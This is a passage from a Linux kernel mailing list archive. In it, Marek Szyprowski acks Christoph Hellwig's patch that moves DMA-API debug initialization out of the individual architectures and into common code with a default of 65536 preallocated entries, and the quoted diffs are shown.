> index 075253cb613b..6a1ebaa83623 100644
> --- a/lib/dma-debug.c
> +++ b/lib/dma-debug.c
> @@ -444,7 +444,6 @@ void debug_dma_dump_mappings(struct device *dev)
>   		spin_unlock_irqrestore(&bucket->lock, flags);
>   	}
>   }
> -EXPORT_SYMBOL(debug_dma_dump_mappings);
>   
>   /*
>    * For each mapping (initial cacheline in the case of
> @@ -753,7 +752,6 @@ int dma_debug_resize_entries(u32 num_entries)
>   
>   	return ret;
>   }
> -EXPORT_SYMBOL(dma_debug_resize_entries);
>   
>   /*
>    * DMA-API debugging init code
> 

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Marek Szyprowski <m.szyprowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 1/3] dma-debug: move initialization to common code
Date: Tue, 8 May 2018 12:22:12 +0200
Lines: 433
Approved: news@gmane.org
Message-ID: <d2ea505f-ef18-bed1-23b5-dad81032e775@samsung.com>
References: <20180424140235.9125-1-hch@lst.de>
	<CGME20180424140315epcas1p260a93a22d2b78db49274ec5c07664efe@epcas1p2.samsung.com>
	<20180424140235.9125-2-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525774822 2618 195.159.176.226 (8 May 2018 10:20:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 10:20:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 08 12:20:17 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fFzjD-0000Wp-UL
	for glki-iommu@m.gmane.org; Tue, 08 May 2018 12:20:16 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 374DA927;
	Tue,  8 May 2018 10:22:26 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 703D38D7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 10:22:24 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mailout2.w1.samsung.com (mailout2.w1.samsung.com
	[210.118.77.12])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B36AE625
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 10:22:22 +0000 (UTC)
Original-Received: from eucas1p2.samsung.com (unknown [182.198.249.207])
	by mailout2.w1.samsung.com (KnoxPortal) with ESMTP id
	20180508102219euoutp02a05a34b7d6ce42a40113901bd3d9fadf~spDk-McNE0715007150euoutp02G
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 10:22:19 +0000 (GMT)
DKIM-Filter: OpenDKIM Filter v2.11.0 mailout2.w1.samsung.com
	20180508102219euoutp02a05a34b7d6ce42a40113901bd3d9fadf~spDk-McNE0715007150euoutp02G
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=samsung.com;
	s=mail20170921; t=1525774939;
	bh=VoOhvMRqiAs7Yw1/zwYAfIngCXcl2+XDJjSspFZ/J0Q=;
	h=Subject:To:Cc:From:Date:In-Reply-To:References:From;
	b=O5cU7u5nfBc4dvlFTiTmuRdRWpiRc8bv0KibtbCc6mst/HyB3+fD6JVxyyQPwjETB
	zoOOSOVXdi5pwlUtiizV9OSjnGAn2/AEtGe9KXwkWL/IlUNBn7KLc9akmaJZNREIZE
	YA82vFXdDbFjJb27g6xtRrdrMZtXnKOOBOyZg9yc=
Original-Received: from eusmges3new.samsung.com (unknown [203.254.199.245]) by
	eucas1p2.samsung.com (KnoxPortal) with ESMTP id
	20180508102218eucas1p21db659c5cdc6ab7271c54ba077dc2e22~spDjqrGce2619926199eucas1p2m;
	Tue,  8 May 2018 10:22:18 +0000 (GMT)
Original-Received: from eucas1p2.samsung.com ( [182.198.249.207]) by
	eusmges3new.samsung.com (EUCPMTA) with SMTP id 0A.C1.10409.95A71FA5;
	Tue,  8 May 2018 11:22:17 +0100 (BST)
Original-Received: from eusmtrp2.samsung.com (unknown [182.198.249.139]) by
	eucas1p1.samsung.com (KnoxPortal) with ESMTPA id
	20180508102215eucas1p13bf142bbf47e484eebff063c92fce569~spDhh1Vx70664006640eucas1p1w;
	Tue,  8 May 2018 10:22:15 +0000 (GMT)
Original-Received: from eusmgms1.samsung.com (unknown [182.198.249.179]) by
	eusmtrp2.samsung.com (KnoxPortal) with ESMTP id
	20180508102214eusmtrp281c6622dd8905a8ce27c8b41f05d33aa~spDgrhuUh2529925299eusmtrp2Z;
	Tue,  8 May 2018 10:22:14 +0000 (GMT)
X-AuditID: cbfec7f5-b45ff700000028a9-e0-5af17a599c4d
Original-Received: from eusmtip1.samsung.com ( [203.254.199.221]) by
	eusmgms1.samsung.com (EUCPMTA) with SMTP id A8.7B.04178.65A71FA5;
	Tue,  8 May 2018 11:22:14 +0100 (BST)
Original-Received: from [106.116.147.30] (unknown [106.116.147.30]) by
	eusmtip1.samsung.com (KnoxPortal) with ESMTPA id
	20180508102214eusmtip137c6f84d1a8f531f1860b2f5b8f1e079~spDf6CSjS2678326783eusmtip1D;
	Tue,  8 May 2018 10:22:14 +0000 (GMT)
In-Reply-To: <20180424140235.9125-2-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-US
X-Brightmail-Tracker: H4sIAAAAAAAAA02Sa0hTYRjHe885Ox611XFae7IbzJCuTqngJdMCJQ4FFX0oHFEd82SSm7Kj
	lkq2yERHRaR2WZYVyTSbxsxrdJuWqdky08wSoxTEtCWmJmmX7Vj57fdc/8//5WVIxXHal4nR
	JQh6HR+roj2oiqfj9lURKUOawDOFnrjz+wDCoxVvZbio+AmBrz0Mxl+66hDOrBmhsPVTuwzX
	XT5LYEd6FY1ba/JobO6xkPhj40sC503kkPjkewuBi5otbrhnqInCRlMvja1ZrTQ2NBTKNnpz
	1aYuN67K+png+h5XklzZzWNc6Z0KxGV3mBHXcHKU4trMNwnu3lsDzU0ac0hu2Lpou6fGY32U
	EBuTJOjVofs8DqbfeEbGt2mPjDd2EwaUFWFE7gywa8A6bKGMyINRsIUISvOzp4JvCKy547QU
	DCM4XdxLGBHjGukyRUp5M4KL3X0yKXAgePqjn3Lu9WY3ge15uYt92HAwf2hxMcnepmCgYJGT
	aTYIjING2slyNhSqDdmuHopdAvaJMRfPYXfD+atvCKnHCxou9VDOI9xZNbRfWSqtXAyVg3mk
	xEro7MknnPcAW8VAU3kXLfkMh7z+11PsDf31d90kXgC/qvMJiY/BmbG6qeFTCO6n504VgqG2
	vkXmFCbZZVBao5bSIfDiajklPcos6Bj0km6YBecqLpBSWg6ZGQqp2x9M9SX/VB+/fEWeRX6m
	acZM09yYprkx/de9hqhbSCkkitpoQVytEw4HiLxWTNRFB+yP01rRn4/Z9LN+pAo9mIi0IZZB
	qpny7/FfNQoZnyQma20IGFLlI/dbOKRRyKP45BRBH7dXnxgriDY0n6FUSvmepWka 
X-Brightmail-Tracker: H4sIAAAAAAAAA02SfUgTcRjH+93drtMcnVPzh73ZEgqj6U2Xv6mNqIijvwLBcBZ25TElt9nd
	ZilEI9R0UGma5NLSmC4zsSb5FhEty6zMXkhSGpkpVr6URb6AVs4V+N+H5/l+Hp4HHgqXXZSE
	UOkGEy8YuAw56Us8+93p3pqYM6mNPD+iQv0zYwBNNfdJUF39IwxV3Y9DE+4OgArafxHI+alX
	gjouF2HoW24rid60V5DIMdSAo8GnLzFUMVeKo7z3DRiq625YjoYmnxHIahsmkbPwDYksXdcl
	OwLYNpt7OdvqHMXYzw9acLbJfoptvNUM2JJ3DsB25U0R7FuHHWPv9llIdt5airM/nev2rdAq
	4gWj2cSHphlF03Z5MoOUCkaNFMpotYKJijkYq1TJIzTxqXxGehYvRGgOKdJyrz3BM9/qT8w+
	/YBZQGGSFVAUpKOh23bYCnwpGV0D4GDbD8wKfBbqa2BXmUXi5QA412slvaFxAGuH+wlPI4De
	A13P7yxyIL0bOgZeEZ4QTt8koH3CjXkNB4ADp92LY0magdZxzygfSkprYJulZNEm6DDYMze9
	yEH0ATjzyEp4M/6wq3yI8KzqQ0fA3srNnjJOb4NXmj7iXl4PW8Yr/nEw7B+6ihUBmW2JbVui
	2JYotiVKFSBugEDeLOp1epFRiJxeNBt0iiNGvRMsvETz49mmVvD6doIL0BSQ+0lnMr9rZRIu
	S8zWuwCkcHmgdOPaSa1Mmspl5/CCMUUwZ/CiC6gWbivGQ4KOGBcezGBKYVRMDFIzMVExUduQ
	PFjaE5mtldE6zsQf5flMXvjvYZRPiAWEGmM3TdTcUaevr239s/ro8+7BhOrwaN1x 
X-CMS-MailID: 20180508102215eucas1p13bf142bbf47e484eebff063c92fce569
X-Msg-Generator: CA
X-MTR: 20180508102215eucas1p13bf142bbf47e484eebff063c92fce569
X-EPHeader: CA
CMS-TYPE: 201P
X-CMS-RootMailID: 20180424140315epcas1p260a93a22d2b78db49274ec5c07664efe
X-RootMTR: 20180424140315epcas1p260a93a22d2b78db49274ec5c07664efe
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24137 gmane.linux.kernel.cross-arch:43912 gmane.linux.kernel.arc:3861 gmane.linux.ports.parisc:28589 gmane.linux.ports.sh.devel:56993 gmane.linux.ports.hexagon:1695 gmane.linux.kernel:2761436 gmane.linux.ports.alpha:5016 gmane.linux.ports.sparc:27834 gmane.linux.ports.arm.kernel:648466
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24137>

Hi Christoph,

On 2018-04-24 16:02, Christoph Hellwig wrote:
> Most mainstream architectures are using 65536 entries, so lets stick to
> that.  If someone is really desperate to override it that can still be
> done through <asm/dma-mapping.h>, but I'd rather see a really good
> rationale for that.
>
> dma_debug_init is now called as a core_initcall, which for many
> architectures means much earlier, and provides dma-debug functionality
> earlier in the boot process.  This should be safe as it only relies
> on the memory allocator already being available.
>
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>

Nice! Unification of this is definitely needed and solves the issues
reported some time ago:

https://patchwork.kernel.org/patch/9429637/ (arm)
https://patchwork.kernel.org/patch/9431161/ (arm64, rejected)

Acked-by: Marek Szyprowski <m.szyprowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>

> ---
>   arch/arm/mm/dma-mapping-nommu.c |  9 ---------
>   arch/arm/mm/dma-mapping.c       |  9 ---------
>   arch/arm64/mm/dma-mapping.c     | 10 ----------
>   arch/c6x/kernel/dma.c           | 11 -----------
>   arch/ia64/kernel/dma-mapping.c  | 10 ----------
>   arch/microblaze/kernel/dma.c    | 11 -----------
>   arch/mips/mm/dma-default.c      | 10 ----------
>   arch/openrisc/kernel/dma.c      | 11 -----------
>   arch/powerpc/kernel/dma.c       |  3 ---
>   arch/s390/pci/pci_dma.c         |  9 ---------
>   arch/sh/mm/consistent.c         |  9 ---------
>   arch/sparc/kernel/Makefile      |  2 --
>   arch/sparc/kernel/dma.c         | 13 -------------
>   arch/x86/kernel/pci-dma.c       |  4 ----
>   arch/xtensa/kernel/pci-dma.c    |  9 ---------
>   include/linux/dma-debug.h       |  6 ------
>   lib/dma-debug.c                 | 21 ++++++++++++++-------
>   17 files changed, 14 insertions(+), 143 deletions(-)
>   delete mode 100644 arch/sparc/kernel/dma.c
>
> diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
> index 619f24a42d09..f448a0663b10 100644
> --- a/arch/arm/mm/dma-mapping-nommu.c
> +++ b/arch/arm/mm/dma-mapping-nommu.c
> @@ -241,12 +241,3 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
>   void arch_teardown_dma_ops(struct device *dev)
>   {
>   }
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -core_initcall(dma_debug_do_init);
> diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
> index 8c398fedbbb6..c26bf83f44ca 100644
> --- a/arch/arm/mm/dma-mapping.c
> +++ b/arch/arm/mm/dma-mapping.c
> @@ -1165,15 +1165,6 @@ int arm_dma_supported(struct device *dev, u64 mask)
>   	return __dma_supported(dev, mask, false);
>   }
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -core_initcall(dma_debug_do_init);
> -
>   #ifdef CONFIG_ARM_DMA_USE_IOMMU
>   
>   static int __dma_info_to_prot(enum dma_data_direction dir, unsigned long attrs)
> diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
> index a96ec0181818..db01f2709842 100644
> --- a/arch/arm64/mm/dma-mapping.c
> +++ b/arch/arm64/mm/dma-mapping.c
> @@ -508,16 +508,6 @@ static int __init arm64_dma_init(void)
>   }
>   arch_initcall(arm64_dma_init);
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_debug_do_init);
> -
> -
>   #ifdef CONFIG_IOMMU_DMA
>   #include <linux/dma-iommu.h>
>   #include <linux/platform_device.h>
> diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
> index 9fff8be75f58..31e1a9ec3a9c 100644
> --- a/arch/c6x/kernel/dma.c
> +++ b/arch/c6x/kernel/dma.c
> @@ -136,14 +136,3 @@ const struct dma_map_ops c6x_dma_ops = {
>   	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
>   };
>   EXPORT_SYMBOL(c6x_dma_ops);
> -
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/ia64/kernel/dma-mapping.c b/arch/ia64/kernel/dma-mapping.c
> index f2d57e66fd86..7a471d8d67d4 100644
> --- a/arch/ia64/kernel/dma-mapping.c
> +++ b/arch/ia64/kernel/dma-mapping.c
> @@ -9,16 +9,6 @@ int iommu_detected __read_mostly;
>   const struct dma_map_ops *dma_ops;
>   EXPORT_SYMBOL(dma_ops);
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> -
>   const struct dma_map_ops *dma_get_ops(struct device *dev)
>   {
>   	return dma_ops;
> diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
> index c91e8cef98dd..3145e7dc8ab1 100644
> --- a/arch/microblaze/kernel/dma.c
> +++ b/arch/microblaze/kernel/dma.c
> @@ -184,14 +184,3 @@ const struct dma_map_ops dma_nommu_ops = {
>   	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
>   };
>   EXPORT_SYMBOL(dma_nommu_ops);
> -
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
> index dcafa43613b6..f9fef0028ca2 100644
> --- a/arch/mips/mm/dma-default.c
> +++ b/arch/mips/mm/dma-default.c
> @@ -402,13 +402,3 @@ static const struct dma_map_ops mips_default_dma_map_ops = {
>   
>   const struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
>   EXPORT_SYMBOL(mips_dma_map_ops);
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init mips_dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(mips_dma_init);
> diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
> index a945f00011b4..ec7fd45704d2 100644
> --- a/arch/openrisc/kernel/dma.c
> +++ b/arch/openrisc/kernel/dma.c
> @@ -247,14 +247,3 @@ const struct dma_map_ops or1k_dma_map_ops = {
>   	.sync_single_for_device = or1k_sync_single_for_device,
>   };
>   EXPORT_SYMBOL(or1k_dma_map_ops);
> -
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
> index da20569de9d4..138157deeadf 100644
> --- a/arch/powerpc/kernel/dma.c
> +++ b/arch/powerpc/kernel/dma.c
> @@ -309,8 +309,6 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
>   }
>   EXPORT_SYMBOL(dma_set_coherent_mask);
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
>   int dma_set_mask(struct device *dev, u64 dma_mask)
>   {
>   	if (ppc_md.dma_set_mask)
> @@ -361,7 +359,6 @@ EXPORT_SYMBOL_GPL(dma_get_required_mask);
>   
>   static int __init dma_init(void)
>   {
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
>   #ifdef CONFIG_PCI
>   	dma_debug_add_bus(&pci_bus_type);
>   #endif
> diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
> index 2d15d84c20ed..5dee7a922589 100644
> --- a/arch/s390/pci/pci_dma.c
> +++ b/arch/s390/pci/pci_dma.c
> @@ -668,15 +668,6 @@ void zpci_dma_exit(void)
>   	kmem_cache_destroy(dma_region_table_cache);
>   }
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	(1 << 16)
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_debug_do_init);
> -
>   const struct dma_map_ops s390_pci_dma_ops = {
>   	.alloc		= s390_dma_alloc,
>   	.free		= s390_dma_free,
> diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
> index 8ce98691d822..35ea3099a3b6 100644
> --- a/arch/sh/mm/consistent.c
> +++ b/arch/sh/mm/consistent.c
> @@ -20,18 +20,9 @@
>   #include <asm/cacheflush.h>
>   #include <asm/addrspace.h>
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
>   const struct dma_map_ops *dma_ops;
>   EXPORT_SYMBOL(dma_ops);
>   
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_init);
> -
>   void *dma_generic_alloc_coherent(struct device *dev, size_t size,
>   				 dma_addr_t *dma_handle, gfp_t gfp,
>   				 unsigned long attrs)
> diff --git a/arch/sparc/kernel/Makefile b/arch/sparc/kernel/Makefile
> index 76cb57750dda..84cfc5a428d6 100644
> --- a/arch/sparc/kernel/Makefile
> +++ b/arch/sparc/kernel/Makefile
> @@ -74,8 +74,6 @@ obj-$(CONFIG_SPARC64)	+= pcr.o
>   obj-$(CONFIG_SPARC64)	+= nmi.o
>   obj-$(CONFIG_SPARC64_SMP) += cpumap.o
>   
> -obj-y                     += dma.o
> -
>   obj-$(CONFIG_PCIC_PCI)    += pcic.o
>   obj-$(CONFIG_LEON_PCI)    += leon_pci.o
>   obj-$(CONFIG_SPARC_GRPCI2)+= leon_pci_grpci2.o
> diff --git a/arch/sparc/kernel/dma.c b/arch/sparc/kernel/dma.c
> deleted file mode 100644
> index f73e7597c971..000000000000
> --- a/arch/sparc/kernel/dma.c
> +++ /dev/null
> @@ -1,13 +0,0 @@
> -// SPDX-License-Identifier: GPL-2.0
> -#include <linux/kernel.h>
> -#include <linux/dma-mapping.h>
> -#include <linux/dma-debug.h>
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES       (1 << 15)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
> index 77625b60a510..bcbaa2e8031e 100644
> --- a/arch/x86/kernel/pci-dma.c
> +++ b/arch/x86/kernel/pci-dma.c
> @@ -55,9 +55,6 @@ struct device x86_dma_fallback_dev = {
>   };
>   EXPORT_SYMBOL(x86_dma_fallback_dev);
>   
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES       65536
> -
>   void __init pci_iommu_alloc(void)
>   {
>   	struct iommu_table_entry *p;
> @@ -189,7 +186,6 @@ EXPORT_SYMBOL(arch_dma_supported);
>   static int __init pci_iommu_init(void)
>   {
>   	struct iommu_table_entry *p;
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
>   
>   #ifdef CONFIG_PCI
>   	dma_debug_add_bus(&pci_bus_type);
> diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
> index 732631ce250f..392b4a80ebc2 100644
> --- a/arch/xtensa/kernel/pci-dma.c
> +++ b/arch/xtensa/kernel/pci-dma.c
> @@ -261,12 +261,3 @@ const struct dma_map_ops xtensa_dma_map_ops = {
>   	.mapping_error = xtensa_dma_mapping_error,
>   };
>   EXPORT_SYMBOL(xtensa_dma_map_ops);
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init xtensa_dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(xtensa_dma_init);
> diff --git a/include/linux/dma-debug.h b/include/linux/dma-debug.h
> index c7d844f09c3a..a785f2507159 100644
> --- a/include/linux/dma-debug.h
> +++ b/include/linux/dma-debug.h
> @@ -30,8 +30,6 @@ struct bus_type;
>   
>   extern void dma_debug_add_bus(struct bus_type *bus);
>   
> -extern void dma_debug_init(u32 num_entries);
> -
>   extern int dma_debug_resize_entries(u32 num_entries);
>   
>   extern void debug_dma_map_page(struct device *dev, struct page *page,
> @@ -100,10 +98,6 @@ static inline void dma_debug_add_bus(struct bus_type *bus)
>   {
>   }
>   
> -static inline void dma_debug_init(u32 num_entries)
> -{
> -}
> -
>   static inline int dma_debug_resize_entries(u32 num_entries)
>   {
>   	return 0;
> diff --git a/lib/dma-debug.c b/lib/dma-debug.c
> index 7f5cdc1e6b29..712a897174e4 100644
> --- a/lib/dma-debug.c
> +++ b/lib/dma-debug.c
> @@ -41,6 +41,11 @@
>   #define HASH_FN_SHIFT   13
>   #define HASH_FN_MASK    (HASH_SIZE - 1)
>   
> +/* allow architectures to override this if absolutely required */
> +#ifndef PREALLOC_DMA_DEBUG_ENTRIES
> +#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> +#endif
> +
>   enum {
>   	dma_debug_single,
>   	dma_debug_page,
> @@ -1004,18 +1009,16 @@ void dma_debug_add_bus(struct bus_type *bus)
>   	bus_register_notifier(bus, nb);
>   }
>   
> -/*
> - * Let the architectures decide how many entries should be preallocated.
> - */
> -void dma_debug_init(u32 num_entries)
> +static int dma_debug_init(void)
>   {
> +	u32 num_entries;
>   	int i;
>   
>   	/* Do not use dma_debug_initialized here, since we really want to be
>   	 * called to set dma_debug_initialized
>   	 */
>   	if (global_disable)
> -		return;
> +		return 0;
>   
>   	for (i = 0; i < HASH_SIZE; ++i) {
>   		INIT_LIST_HEAD(&dma_entry_hash[i].list);
> @@ -1026,17 +1029,19 @@ void dma_debug_init(u32 num_entries)
>   		pr_err("DMA-API: error creating debugfs entries - disabling\n");
>   		global_disable = true;
>   
> -		return;
> +		return 0;
>   	}
>   
>   	if (req_entries)
>   		num_entries = req_entries;
> +	else
> +		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
>   
>   	if (prealloc_memory(num_entries) != 0) {
>   		pr_err("DMA-API: debugging out of memory error - disabled\n");
>   		global_disable = true;
>   
> -		return;
> +		return 0;
>   	}
>   
>   	nr_total_entries = num_free_entries;
> @@ -1044,7 +1049,9 @@ void dma_debug_init(u32 num_entries)
>   	dma_debug_initialized = true;
>   
>   	pr_info("DMA-API: debugging enabled by kernel config\n");
> +	return 0;
>   }
> +core_initcall(dma_debug_init);
>   
>   static __init int dma_debug_cmdline(char *str)
>   {

Best regards
-- 
Marek Szyprowski, PhD
Samsung R&D Institute Poland


From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
